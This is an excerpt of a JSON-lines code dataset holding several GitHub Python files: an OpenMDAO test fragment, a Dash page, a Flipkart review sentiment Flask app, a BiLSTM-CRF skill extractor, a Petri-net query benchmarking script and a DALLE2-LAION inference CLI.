IndepVarComp\n    \n    group = Group()\n    n=81\n    k=3\n    comp = IndepVarComp()\n    comp.add_output('p', val=np.random.random((n,k,3,1)))\n    comp.add_output('desptsconstraints', val=np.random.random((k,3)))\n        \n    group.add_subsystem('IndepVarComp', comp, promotes = ['*'])\n    \n    \n    comp = PathpointsComp(num_nodes=n,k=k)\n    group.add_subsystem('desiredpointscomp', comp, promotes = ['*'])\n    \n    prob = Problem()\n    prob.model = group\n    \n    prob.setup()\n    prob.run_model()\n    prob.model.list_outputs()\n\n    \n    prob.check_partials(compact_print=False)\n    prob.check_partials(compact_print=True)\n","repo_name":"UCSDMorimotoLab/CTRoptimization","sub_path":"ctr_framework/pathpoints_comp.py","file_name":"pathpoints_comp.py","file_ext":"py","file_size_in_byte":4754,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"2131347730","text":"import dash\n# Code from: https://github.com/plotly/dash-labs/tree/main/docs/demos/multi_page_example1\ndash.register_page(__name__, path=\"/\")\n\nfrom dash import Dash, dcc, html, Input, Output, callback\nimport dash_bootstrap_components as dbc\nimport PIL\nimport plotly.express as px\n\nBACKGROUND_IMAGE_PATH = 'pages/assets/background.PNG'\nimg = PIL.Image.open(BACKGROUND_IMAGE_PATH)\n\nmyCard = dbc.Card([\n    dbc.CardImg(src=BACKGROUND_IMAGE_PATH, top=True, alt='Cant load background'),\n    dbc.CardImgOverlay(\n        dbc.Col(html.H1(f'To demo that the Path works on PIL library, img size is:{img.size}', className='text-center'), style={'textAlign': 'center'})\n        )])\n\nlayout = html.Div(\n    [\n       myCard\n    ]\n)\n","repo_name":"MoritzFranke/DashMultiPageQuestion","sub_path":"pages/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34060232715","text":"from flask import Flask, render_template, request\nimport requests\nimport flipkartscrapper\nimport seaborn as sns\nimport numpy as np\nimport os\nimport os.path\nfrom os import path\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n# For visualizations\nimport matplotlib.pyplot as plt\n# For regular expressions\nimport re\n# For handling string\nimport string\napp = Flask(__name__)\nheaders = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) '\n                         'Chrome/80.0.3987.106 Safari/537.36',\n           'referrer': 'https://flipkart.com'\n           }\n\n\n@app.route('/')\ndef index():\n    if path.exists('./scraped_data.csv'):\n        os.remove('./scrapped_data.csv')\n    return render_template('index.html')\n\n\n@app.route('/process', methods=['POST'])\ndef process():\n    url = request.form.get('url')\n    # path = os.getcwd()\n    #\n    # print(path)\n    if 'flipkart' in url:\n        product_title = str(flipkartscrapper.flipscrapper(url))\n    page = requests.get(url, headers=headers, timeout=2)\n    soup = BeautifulSoup(page.text, 'html.parser')\n    total_reviews = soup.find('span', attrs={'class': '_2_R_DZ'}).text\n    \n\n    df = pd.read_csv('./scrapped_data.csv')\n    df = df[['Rating', 'Review']]  # getting required columns\n    df['cleaned'] = df['Review'].apply(lambda x: x.lower())  # to lower letter\n    df.isnull().sum()  # to check null values\n    df.dropna(inplace=True)  # to remove null values if there\n    df.isnull().sum()\n    df['cleaned'] = df['cleaned'].apply(lambda x: re.sub(\n        '\\w*\\d\\w*', '', x))  # remove digits in data\n    df['cleaned'] = df['cleaned'].apply(\n        lambda x: re.sub('[%s]' % re.escape(string.punctuation), '', x))  # Remove Punctuations\n    df['cleaned'] = df['cleaned'].apply(\n        lambda x: re.sub(' +', ' ', x))  # Removing extra spaces\n    # stopwords removal and lemmatization\n    # Importing spacy\n    import spacy\n    # Loading model\n    nlp = spacy.load('en_core_web_sm', disable=['parser', 'ner'])\n\n    # Lemmatization with stopwords removal\n    df['lemmatized'] = df['cleaned'].apply(\n        lambda x: ' '.join([token.lemma_ for token in list(nlp(x)) if (token.is_stop == False)]))\n\n    # keeping reqired columns because the abbove cell appends extera columns\n    df = df[['Rating', 'lemmatized']]\n    df_new = df.rename(columns={'lemmatized': 'Review'})\n    df = df_new\n    from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\n    sent = SentimentIntensityAnalyzer()\n    sentiment_dict = []\n    for i in range(0, len(df)):\n        sentiment_dict.append(sent.polarity_scores(df.iloc[i, 1]))\n    positive = []\n    neutral = []\n    negative = []\n    compound = []\n    for item in sentiment_dict:\n        positive.append(item['pos'])\n        neutral.append(item['neu'])\n        negative.append(item['neg'])\n        compound.append(item['compound'])\n    sentiment_df = pd.DataFrame(list(zip(positive, neutral, negative, compound)),  columns=[\n                                'Positive', 'Neutral', 'Negative', 'Compound'])\n    df['Positive'] = sentiment_df['Positive']\n    df['Negative'] = sentiment_df['Negative']\n    df['Neutral'] = sentiment_df['Neutral']\n    df['Compound'] = sentiment_df['Compound']\n    df_temp = df[['Rating', 'Review']]\n    df_temp = df_temp.assign(new=\"1\")\n    df_grouped = df_temp[['new', 'Review']].groupby(\n        by='new').agg(lambda x: ' '.join(x))\n    # Creating Document Term Matrix\n    from sklearn.feature_extraction.text import CountVectorizer\n    cv = CountVectorizer(analyzer='word')\n    data = cv.fit_transform(df_grouped['Review'])\n    df_dtm = pd.DataFrame(data.toarray(), columns=cv.get_feature_names())\n    df_dtm.index = df_grouped.index\n    # Importing wordcloud for plotting word clouds and textwrap for wrapping longer text\n    from wordcloud import WordCloud\n    from textwrap import wrap\n    # Function for generating word clouds\n\n    def generate_wordcloud(data, title):\n        wc = WordCloud(width=400, height=330, max_words=150,\n                       background_color='white'). generate_from_frequencies(data)\n        plt.figure(figsize=(10, 8))\n        plt.imshow(wc, interpolation='bilinear')\n        plt.axis(\"off\")\n        plt.title('\\n'.join(wrap(title, 60)), fontsize=13)\n        plt.show()\n        if path.exists('./static/wordcloud.jpg'):\n            os.remove('./static/wordcloud.jpg')\n        wc.to_file(\"./static/wordcloud.jpg\")\n    # Transposing document term matrix\n    df_dtm = df_dtm.transpose()\n    # Plotting word cloud for each product\n    for index, product in enumerate(df_dtm.columns):\n        generate_wordcloud(df_dtm[product], product)\n    highest_polarity = pd.DataFrame(columns=['Reviews'])\n    lowest_polarity = pd.DataFrame(columns=['Reviews'])\n\n    from textblob import TextBlob\n    df['polarity'] = df['Review'].apply(\n        lambda x: TextBlob(x).sentiment.polarity)\n    for index, Review in enumerate(df.iloc[df['polarity'].sort_values(ascending=False)[:3].index]['Review']):\n        highest_polarity = highest_polarity.append(\n            {'Reviews': str(Review)}, ignore_index=True)\n\n    for index, Review in enumerate(df.iloc[df['polarity'].sort_values(ascending=True)[:3].index]['Review']):\n        lowest_polarity = lowest_polarity.append(\n            {'Reviews': str(Review)}, ignore_index=True)\n    # print('the highest: ', highest_polarity)\n    # # print('the lowest: ', lowest_polarity)\n    #\n    # return render_template('process.html',title=product_title,tables=[highest_polarity.to_html(classes='data', index=False)],titles=highest_polarity.columns.values,total_reviews=total_reviews, pos = str(df['Positive'].mean() * 10)[0:3],\n    #                        neg= str(df['Neutral'].mean() * 10)[0:3], neutral=str(df['Negative'].mean() * 10)[0:3])\n    if float(df['Positive'].mean() * 10) > 6:\n        verdict = 'This product is highly recommended!!!'\n    elif float(df['Negative'].mean() * 10) < 0:\n        verdict = 'This product is not recommended!'\n    else:\n        verdict = 'This product is recommended'\n    return render_template('process.html', title=product_title, row_data=list(highest_polarity.values.tolist()), row2_data=list(lowest_polarity.values.tolist()), titles=highest_polarity.columns.values, total_reviews=total_reviews, pos=str(df['Positive'].mean() * 10)[0:3], neg=str(df['Neutral'].mean() * 10)[0:3], neutral=str(df['Negative'].mean() * 10)[0:3], verdict=verdict)\n\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"Dhruvawara/Final_Year_Project","sub_path":"TEST/Fllipsc/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31081980456","text":"import torch\r\nimport pandas as pd\r\nimport torch.nn as nn\r\nfrom torchcrf import CRF\r\nfrom torch.utils import data\r\n\r\n\r\nTRAINDATA = 'BiFile/OutputFile/trainData.txt'\r\nTESTDATA = 'BiFile/OutputFile/testData.txt'\r\nMODEL = 'BiFile/OutputFile/model/model_90.pth'\r\nVOCAB_PATH = 'BiFile/OutputFile/vocab.txt'\r\nLABEL_PATH = 'BiFile/OutputFile/label.txt'\r\nUSERDICT = 'BiFile/userDict.txt'\r\nWORD_PAD_ID = 0\r\nEMBEDDING_DIM = 100\r\nHIDDEN_SIZE = 256\r\nTARGET_SIZE = 3\r\nVOCAB_SIZE = 3000\r\nWORD_UNK = '<UNK>'\r\nLR = 1e-3\r\nBATCH = 64\r\nEPOCH = 100\r\nMODEL_DIR = 'BiFile/OutputFile/model/'\r\nLABEL_O_ID = 0\r\nMODEL_NAME = 'model_100.pth'\r\n\r\n\r\nclass Dataset(data.Dataset):\r\n    def __init__(self, type='train', base_len=50):\r\n        super().__init__()\r\n        self.base_len = base_len\r\n        data_path = TRAINDATA if type == 'train' else TESTDATA\r\n        self.df = pd.read_csv(data_path, encoding='utf-8', names=['word', 'label'])\r\n        _, self.word2id = self.__get_vocab__()\r\n        _, self.label2id = self.__get_label__()\r\n        self.get_points()\r\n\r\n\r\n    # 找切分点\r\n    def get_points(self):\r\n        self.points = [0]\r\n        i = 0\r\n        while True:\r\n            if i + self.base_len >= len(self.df):\r\n                self.points.append(len(self.df))\r\n                break\r\n            if self.df.loc[i + self.base_len, 'label'] == 'O':\r\n                i += self.base_len\r\n                self.points.append(i)\r\n            else:\r\n                i += 1\r\n\r\n\r\n    def __len__(self):\r\n        return len(self.points) - 1\r\n\r\n    \r\n    # 向量化\r\n    def __getitem__(self, index):\r\n        df = self.df[self.points[index] : self.points[index + 1]]\r\n        wordUnkId = self.word2id[WORD_UNK]\r\n        labelOId = self.label2id['O']\r\n        input = [self.word2id.get(w, wordUnkId) for w in df['word']]\r\n        target = [self.label2id.get(l, labelOId) for l in df['label']]\r\n        return input, target    \r\n    \r\n    def __get_vocab__(self):\r\n        df = pd.read_csv(VOCAB_PATH, names=['word', 'id'])\r\n        return list(df['word']), dict(df.values)\r\n\r\n    def __get_label__(self):\r\n        df = pd.read_csv(LABEL_PATH, names=['label', 'id'])\r\n        return list(df['label']), dict(df.values)\r\n\r\n\r\nclass Model(nn.Module):\r\n    def __init__(self):\r\n        super().__init__()\r\n        self.embed = nn.Embedding(VOCAB_SIZE, EMBEDDING_DIM, WORD_PAD_ID)\r\n        self.lstm = nn.LSTM(\r\n            EMBEDDING_DIM,\r\n            HIDDEN_SIZE,\r\n            batch_first = True,\r\n            bidirectional = True\r\n        )\r\n        self.linear = nn.Linear(2 * HIDDEN_SIZE, TARGET_SIZE)\r\n        self.crf = CRF(TARGET_SIZE)\r\n    \r\n\r\n    def _get_lstm_feature(self, input):\r\n        out = self.embed(input)\r\n        out, _ = self.lstm(out)\r\n        return self.linear(out)\r\n\r\n\r\n    def forward(self, input, mask):\r\n        out = self._get_lstm_feature(input)\r\n        return self.crf.decode(out, mask)\r\n\r\n    \r\n    def loss_fn(self, input, target, mask):\r\n        y_pred = self._get_lstm_feature(input)\r\n        return -self.crf.forward(y_pred, target, mask, reduction='mean')\r\n\r\n\r\nclass Skill():\r\n    def __init__(self):\r\n        _, self.word2id = self.__get_vocab__()\r\n        self.id2label, _ = self.__get_label__()\r\n        self.model = torch.load(MODEL)\r\n\r\n    def __get_vocab__(self):\r\n        df = pd.read_csv(VOCAB_PATH, names=['word', 'id'])\r\n        return list(df['word']), dict(df.values)\r\n\r\n\r\n    def __get_label__(self):\r\n        df = pd.read_csv(LABEL_PATH, names=['label', 'id'])\r\n        return list(df['label']), dict(df.values)\r\n\r\n\r\n    def __extract__(self, label, text):\r\n        i = 0\r\n        res = []\r\n        while i < len(label):\r\n            if label[i] != 'O':\r\n                prefix, name = label[i].split('-')\r\n                start = end = i\r\n                i += 1\r\n                while i < len(label) and label[i] == 'I-' + name:\r\n                    end = i\r\n                    i += 1\r\n                \r\n                res.append(text[start:end + 1])\r\n            else:\r\n                i += 1\r\n        \r\n        return res\r\n\r\n\r\n    def __get_user_words__(self):\r\n        userWord = []\r\n        with open(USERDICT, encoding='utf-8') as file:\r\n            for l in file.readlines():\r\n                userWord.append(l.split('\\n')[0])\r\n        return userWord\r\n\r\n\r\n    def user_add(self, word):\r\n        userWord = self.__get_user_words__()\r\n\r\n        if word in userWord:\r\n            print(f\"{word} is already in the dict!\")\r\n        else:\r\n            with open(USERDICT, 'a', encoding='utf-8') as file:\r\n                file.write(word + '\\n')\r\n            print(\"Added successfully!\")\r\n\r\n\r\n    def user_remove(self, word):\r\n        userWord = self.__get_user_words__()\r\n        if word in userWord:\r\n            with open(USERDICT, 'r', encoding='utf-8') as file:\r\n                lines = file.readlines()\r\n            with open(USERDICT, 'w', encoding='utf-8') as file:\r\n                for l in lines:\r\n                    if word == l.split('\\n')[0]:\r\n                        continue\r\n                    else:\r\n                        file.write(l)\r\n            print('Remove successfully!')\r\n        else:\r\n            print(f\"{word} is not in the dict!\")\r\n\r\n\r\n    def get_skill(self, text):\r\n        input = torch.tensor([[self.word2id.get(w, WORD_PAD_ID) for w in text]])\r\n        mask = torch.tensor([[1] * len(text)]).bool()\r\n\r\n        y_pred = self.model(input, mask)\r\n\r\n        label = []\r\n        for l in y_pred:\r\n            label.append(self.id2label[l[0]])\r\n        \r\n        res = self.__extract__(label, text)\r\n        res = self.__filter__(text, res)\r\n        res = list(set(res))\r\n        return res\r\n\r\n\r\n    def __filter__(self, text, arr):\r\n        userWord = self.__get_user_words__()\r\n        res = arr\r\n        for uWord in userWord:\r\n            if uWord in text:\r\n                res.append(uWord)\r\n            for aWord in arr:\r\n                if uWord in aWord:\r\n                    res.append(uWord)\r\n                    res.remove(aWord)\r\n        return res\r\n\r\n\r\nclass Train():\r\n    def __init__(self):\r\n        self.dataset = Dataset()\r\n        self.loader = data.DataLoader(\r\n            self.dataset,\r\n            batch_size=BATCH,\r\n            shuffle=True,\r\n            collate_fn=self.__collate_fn__\r\n        )\r\n        self.model = Model()\r\n        self.optimizer = torch.optim.Adam(self.model.parameters(), lr=LR)\r\n\r\n\r\n    def __collate_fn__(self, batch):\r\n        batch.sort(key=lambda x: len(x[0]), reverse=True)\r\n        max_len = len(batch[0][0])\r\n        input = []\r\n        target = []\r\n        mask = []\r\n\r\n        for item in batch:\r\n            pad_len = max_len - len(item[0])\r\n            input.append(item[0] + [WORD_PAD_ID] * pad_len)\r\n            target.append(item[1] + [LABEL_O_ID] * pad_len)\r\n            mask.append([1] * len(item[0]) + [0] * pad_len)\r\n        \r\n        return torch.tensor(input), torch.tensor(target), torch.tensor(mask).bool()\r\n\r\n\r\n    def train_net(self):\r\n        for e in range(EPOCH):\r\n            for b, (input, target, mask) in enumerate(self.loader):\r\n                y_pred = self.model(input, mask)\r\n                loss = self.model.loss_fn(input, target, mask)\r\n\r\n                self.optimizer.zero_grad()\r\n                loss.backward()\r\n                self.optimizer.step()\r\n\r\n                if b % 10 == 0:\r\n                    print(f'Epoch: {e} Loss: {loss.item()}')\r\n            if e % 10 == 0:\r\n                torch.save(self.model, MODEL_DIR + f'model_{e}.pth')\r\n\r\n\r\nclass Test():\r\n    def __init__(self):\r\n        self.dataset = Dataset('test')\r\n        self.loader = data.DataLoader(\r\n            self.dataset,\r\n            batch_size=BATCH,\r\n            collate_fn=self.__collate_fn__\r\n        )\r\n\r\n\r\n    def __collate_fn__(self, batch):\r\n        batch.sort(key=lambda x: len(x[0]), reverse=True)\r\n        max_len = len(batch[0][0])\r\n        input = []\r\n        target = []\r\n        mask = []\r\n\r\n        for item in batch:\r\n            pad_len = max_len - len(item[0])\r\n            input.append(item[0] + [WORD_PAD_ID] * pad_len)\r\n            target.append(item[1] + [LABEL_O_ID] * pad_len)\r\n            mask.append([1] * len(item[0]) + [0] * pad_len)\r\n        \r\n        return torch.tensor(input), torch.tensor(target), torch.tensor(mask).bool()\r\n\r\n    \r\n    def test_net(self):\r\n        with torch.no_grad():\r\n            model = torch.load(MODEL_DIR + MODEL_NAME)\r\n\r\n            y_ture_list = []\r\n            y_pred_list = []\r\n\r\n            for b, (input, target, mask) in enumerate(self.loader):\r\n                y_pred = model(input, mask)\r\n                # loss = model.loss_fn(input, target, mask)\r\n\r\n                for lst in y_pred:\r\n                    y_pred_list += lst\r\n\r\n                for y, m in zip(target, mask):\r\n                    y_ture_list += y[m == True].tolist()\r\n\r\n            y_ture_tensor = torch.tensor(y_ture_list)\r\n            y_pred_tensor = torch.tensor(y_pred_list)\r\n\r\n            accuracy = (y_ture_tensor == y_pred_tensor).sum() / len(y_ture_tensor)\r\n            print(f'total: {len(y_ture_tensor)} accuracy: {accuracy.item()}')\r\n\r\n","repo_name":"openeuler-mirror/open-source-summer","sub_path":"开发者技能提取/BiFile/OSPP_T.py","file_name":"OSPP_T.py","file_ext":"py","file_size_in_byte":9109,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"12953454378","text":"#!/usr/bin/env python\nimport subprocess, time, os, shutil, sys\n\"\"\" Script for generating random queries\n\nInput: List of model files\nOutput: Files where each line contains a random query\n\"\"\"\n\n# Memory bound in KiB\nMemoryBound = 1024*1024*1024*2\n\n# Time to wait between process polls\nPollTime = 2\n\n# Start with interval at InitialPollTime and increase to PollTime is reached (Set 0 to disable)\nInitialPollTime = 0.1\n\n# Seconds before timeout\nTimeOut = 60*2\n\nStrategies = [\n\"BestFS Ultimate Edition DFS\",\n\"BestFS Ultimate Edition BFS\",\n]\n\n# NULL-Device\nFNULL = open('/dev/null', 'w')\n\nKanban = [\n#\"Kanban5.pet\", \n#\"Kanban10.pet\", \n#\"Kanban20.pet\", \n#\"Kanban50.pet\", \n\"Kanban100.pet\", \n\"Kanban200.pet\", \n\"Kanban500.pet\", \n\"Kanban1000.pet\"\n]\nFMS = [\n#\"FMS2.pet\", \n#\"FMS10.pet\",\n#\"FMS20.pet\", \n\"FMS50.pet\", \n\"FMS100.pet\", \n\"FMS200.pet\", \n\"FMS500.pet\"\n]\nMAPK = [\n#\"MAPK8.pet\", \n#\"MAPK40.pet\", \n#\"MAPK80.pet\", \n#\"MAPK160.pet\", \n\"MAPK320.pet\",\n\"MAPK640.pet\",\n\"MAPK1280.pet\",\n\"MAPK2560.pet\"\n]\n\nModels = Kanban + FMS + MAPK\n\nModelDir = \"Samples/\"\n\nPeTer = \"../PeTe-build-desktop/PeTer/PeTer\"\nOutputDir = \"TestData/Computability/\"\n\npeterbin = os.path.abspath(PeTer)\nmodeldir = os.path.abspath(ModelDir) + \"/\"\noutputdir = os.path.abspath(OutputDir) + \"/\"\n\n# Copy PeTe to /tmp during tests\nshutil.copyfile(peterbin, \"/tmp/PeTer-Test-Bin\")\nshutil.copystat(peterbin, \"/tmp/PeTer-Test-Bin\")\npeterbin = \"/tmp/PeTer-Test-Bin\"\n\ndef getMemory(pid):\n\targvs = [\"ps\", \"-p\", str(pid), \"-o\", \"vsz=\"]\n\tp2 = subprocess.Popen(argvs, stdout=subprocess.PIPE)\n\tmemory = 0;\n\tfor l in p2.stdout.readlines():\n\t\ttry:\n\t\t\tmemory = int(l)\n\t\texcept: pass\n\tp2.wait()\n\treturn memory\n\ndef genQuery(model):\n\tglobal peterbin, modeldir\n\targvs = [peterbin, \"--test\", modeldir + model, \"--gen-query\"]\n\tp = subprocess.Popen(argvs, stdout=subprocess.PIPE, stderr=FNULL)\n\tp.wait()\n\tfor line in p.stdout.readlines():\n\t\tif line.strip() != \"\":\n\t\t\treturn line.strip()\n\treturn None\n\ndef runQuery(model, strategy, query):\n\tglobal TimeOut, MemoryBound, QuickStepPoll, PollTime, peterbin, modeldir\n\targvs = [peterbin, \"--test\", modeldir + model, \"--strategy\", strategy , \"--literal-query\", query]\n\tp = subprocess.Popen(argvs, stdout=subprocess.PIPE, stderr=FNULL)\n\tt = 0.0\n\tpeekMem = 0\n\tif InitialPollTime == 0:\n\t\tpt = PollTime\n\telse:\n\t\tpt = InitialPollTime\n\twhile t < TimeOut and p.poll() == None:\n\t\tmem = getMemory(p.pid)\n\t\tif mem > peekMem: peekMem = mem\n\t\tif peekMem > MemoryBound:\n\t\t\tbreak\n\t\tif InitialPollTime > 0 and pt < PollTime:\n\t\t\tpt += InitialPollTime\n\t\t\tif pt > PollTime: pt = PollTime\n\t\tt += pt\n\t\ttime.sleep(pt)\n\tif p.poll() == None:\n\t\tp.kill()\n\t\tp.wait()\n\t\treturn False\n\treturn p.poll() == 0\n\nFiles = {}\n\n#Setup headers and create files\nfor model in Models:\n\tfp = outputdir + model + \".result\"\n\tif os.path.isfile(fp):\n\t\tFiles[model] = open(fp, \"a\")\n\telse:\n\t\tFiles[model] = open(fp, \"w\")\n\t\tresult = \"Query,\\t\"\n\t\tfor strategy in Strategies:\n\t\t\tresult += strategy.replace(\",\",\"-\") + \",\"\n\t\tFiles[model].write(result + \"\\n\")\n\nwhile True:\n\tfor model in Models:\n\t\tf = Files[model]\n\t\tquery = genQuery(model)\n\t\tresult = query + \",\\t\"\n\t\tfor strategy in Strategies:\n\t\t\tif runQuery(model, strategy, query):\n\t\t\t\tresult += \"1,\\t\"\n\t\t\telse:\n\t\t\t\tresult += \"0,\\t\"\n\t\tf.write(result + \"\\n\")\n\t\tf.flush()\n\n","repo_name":"jonasfj/PeTe","sub_path":"ComputabilityTest.py","file_name":"ComputabilityTest.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"10956016553","text":"from dalle2_laion import DalleModelManager, ModelLoadConfig, utils\nfrom dalle2_laion.scripts import BasicInference, ImageVariation, BasicInpainting\nfrom typing import List\nimport os\nimport click\nfrom pathlib import Path\nimport json\nimport torch\n\n@click.group()\n@click.option('--verbose', '-v', is_flag=True, default=False, help='Print verbose output.')\n@click.option('--suppress-updates', '-s', is_flag=True, default=False, help='Suppress updating models if checksums do not match.')\n@click.pass_context\ndef inference(ctx, verbose, suppress_updates):\n    ctx.obj['verbose'] = verbose\n    ctx.obj['suppress_updates'] = suppress_updates\n\n@inference.command()\n@click.option('--model-config', default='./configs/upsampler.example.json', help='Path to model config file')\n@click.pass_context\ndef test(ctx, model_config):\n    model_config = ModelLoadConfig.from_json_path(model_config)\n    if model_config.decoder is not None:\n        for unet_source in model_config.decoder.unet_sources:\n            print('Checksum:', unet_source.load_model_from.checksum_file_path)\n    if model_config.prior is not None:\n        print('Checksum:', model_config.prior.load_model_from.checksum_file_path)\n    model_manager = DalleModelManager(model_config, check_updates=not ctx.obj['suppress_updates'])\n\n@inference.command()\n@click.option('--model-config', default='./configs/upsampler.example.json', help='Path to model config file')\n@click.option('--output-path', default='./output/basic/', help='Path to output directory')\n@click.option('--decoder-batch-size', default=10, help='Batch size for decoder')\n@click.pass_context\ndef dream(ctx, model_config: str, output_path: str, decoder_batch_size: int):\n    verbose = ctx.obj['verbose']\n    prompts = []\n    print(\"Enter your prompts one by one. Enter an empty prompt to finish.\")\n    while True:\n        prompt = click.prompt(f'Prompt {len(prompts)+1}', default='', type=str, show_default=False)\n        if prompt == '':\n            break\n        prompt_file = Path(prompt)\n        if utils.is_text_file(prompt_file):\n            # Then we can read the prompts line by line\n            with open(prompt_file, 'r') as f:\n                for line in f:\n                    prompts.append(line.strip())\n        elif utils.is_json_file(prompt_file):\n            # Then we assume this is an array of prompts\n            with open(prompt_file, 'r') as f:\n                prompts.extend(json.load(f))\n        else:\n            prompts.append(prompt)\n    num_prior_samples = click.prompt('How many samples would you like to generate for each prompt?', default=1, type=int)\n\n    dreamer: BasicInference = BasicInference.create(model_config, verbose=verbose, check_updates=not ctx.obj['suppress_updates'])\n    output_map = dreamer.run(prompts, prior_sample_count=num_prior_samples, decoder_batch_size=decoder_batch_size)\n    os.makedirs(output_path, exist_ok=True)\n    for text in output_map:\n        for embedding_index in output_map[text]:\n            for image in output_map[text][embedding_index]:\n                image.save(os.path.join(output_path, f\"{text}_{embedding_index}.png\"))\n\n@inference.command()\n@click.option('--model-config', default='./configs/variation.example.json', help='Path to model config file')\n@click.option('--output-path', default='./output/variations/', help='Path to output directory')\n@click.option('--decoder-batch-size', default=10, help='Batch size for decoder')\n@click.pass_context\ndef variation(ctx, model_config: str, output_path: str, decoder_batch_size: int):\n    verbose = ctx.obj['verbose']\n    variation: ImageVariation = ImageVariation.create(model_config, verbose=verbose, check_updates=not ctx.obj['suppress_updates'])\n    decoder_data_requirements = variation.model_manager.decoder_info.data_requirements\n    image_filepaths: List[Path] = []\n    text_prompts: List[str] = [] if decoder_data_requirements.text_encoding else None\n\n    print(\"Enter paths to your images. If you specify a directory all images within will be added. Enter an empty line to finish.\")\n    if decoder_data_requirements.text_encoding:\n        print(\"This decoder was also conditioned on text. You will need to enter a prompt for each image you use.\")\n\n    while True:\n        image_filepath: Path = click.prompt(f'File {len(image_filepaths)+1}', default=Path(), type=Path, show_default=False)\n        if image_filepath == Path():\n            break\n        if image_filepath.is_dir():\n            new_image_paths = utils.get_images_in_dir(image_filepath)\n        elif utils.is_image_file(image_filepath):\n            new_image_paths = [image_filepath]\n        else:\n            print(f\"{image_filepath} is not a valid image file.\")\n            continue\n\n        if decoder_data_requirements.text_encoding:\n            for image_path in new_image_paths:\n                text_prompt = click.prompt(f'Prompt for {image_path.name}', default=utils.get_prompt_from_filestem(image_path.stem), type=str, show_default=True)\n                text_prompts.append(text_prompt)\n        image_filepaths.extend(new_image_paths)\n\n    print(f\"Found {len(image_filepaths)} images.\")\n    images = utils.get_images_from_paths(image_filepaths)\n    num_samples = click.prompt('How many samples would you like to generate for each image?', default=1, type=int)\n\n    output_map = variation.run(images, text=text_prompts, sample_count=num_samples, batch_size=decoder_batch_size)\n    os.makedirs(output_path, exist_ok=True)\n    for file_index, generation_list in output_map.items():\n        file = image_filepaths[file_index].stem\n        for i, image in enumerate(generation_list):\n            image.save(os.path.join(output_path, f\"{file}_{i}.png\"))\n\n@inference.command()\n@click.option('--model-config', default='./configs/upsampler.example.json', help='Path to model config file')\n@click.option('--output-path', default='./output/inpaint/', help='Path to output directory')\n@click.pass_context\ndef inpaint(ctx, model_config: str, output_path: str):\n    verbose = ctx.obj['verbose']\n    inpainting: BasicInpainting = BasicInpainting.create(model_config, verbose=verbose, check_updates=not ctx.obj['suppress_updates'])\n    image_filepaths: List[Path] = []\n    mask_filepaths: List[Path] = []\n    text_prompts: List[str] = []\n    print(\"You will be entering the paths to your images and masks one at a time. Enter an empty image path to continue\")\n    while True:\n        image_filepath: Path = click.prompt(f'File {len(image_filepaths)+1}', default=Path(), type=Path, show_default=False)\n        if image_filepath == Path():\n            break\n        if not utils.is_image_file(image_filepath):\n            print(f\"{image_filepath} is not a valid image file.\")\n            continue\n        mask_filepath: Path = click.prompt(f'Mask for {image_filepath.name}', default=Path(), type=Path, show_default=False)\n        if not utils.is_image_file(mask_filepath):\n            print(f\"{mask_filepath} is not a valid image file.\")\n            continue\n        text_prompt = click.prompt(f'Prompt for {image_filepath.name}', default=utils.get_prompt_from_filestem(image_filepath.stem), type=str, show_default=True)\n\n        image_filepaths.append(image_filepath)\n        mask_filepaths.append(mask_filepath)\n        text_prompts.append(text_prompt)\n            \n    print(f\"Found {len(image_filepaths)} images.\")\n    images = utils.get_images_from_paths(image_filepaths)\n    mask_images = utils.get_images_from_paths(mask_filepaths)\n    min_image_size = float('inf')\n    for i, image, mask_image, filepath in zip(range(len(images)), images, mask_images, image_filepaths):\n        assert image.size == mask_image.size, f\"Image {filepath.name} has different dimensions than mask {mask_filepaths[i].name}\"\n        if min(image.size) < min_image_size:\n            min_image_size = min(image.size)\n        if image.size[1] != image.size[0]:\n            print(f\"{filepath.name} is not a square image. It will be center cropped into a square.\")\n            images[i] = utils.center_crop_to_square(image)\n            mask_images[i] = utils.center_crop_to_square(mask_image)\n    print(f\"Minimum image size is {min_image_size}. All images will be resized to this size for inference.\")\n    images = [image.resize((min_image_size, min_image_size)) for image in images]\n    mask_images = [mask_image.resize((min_image_size, min_image_size)) for mask_image in mask_images]\n\n    masks = [utils.get_mask_from_image(mask_image) for mask_image in mask_images]\n    num_samples = click.prompt('How many samples would you like to generate for each image?', default=1, type=int)\n    output_map = inpainting.run(images, masks, text=text_prompts, sample_count=num_samples)\n    os.makedirs(output_path, exist_ok=True)\n    for file_index, generation_list in output_map.items():\n        file = image_filepaths[file_index].stem\n        for i, image in enumerate(generation_list):\n            image.save(os.path.join(output_path, f\"{file}_{i}.png\"))\n\n\nif __name__ == \"__main__\":\n    inference(obj={})","repo_name":"LAION-AI/dalle2-laion","sub_path":"example_inference.py","file_name":"example_inference.py","file_ext":"py","file_size_in_byte":8977,"program_lang":"python","lang":"en","doc_type":"code","stars":486,"dataset":"github-code","pt":"60"}
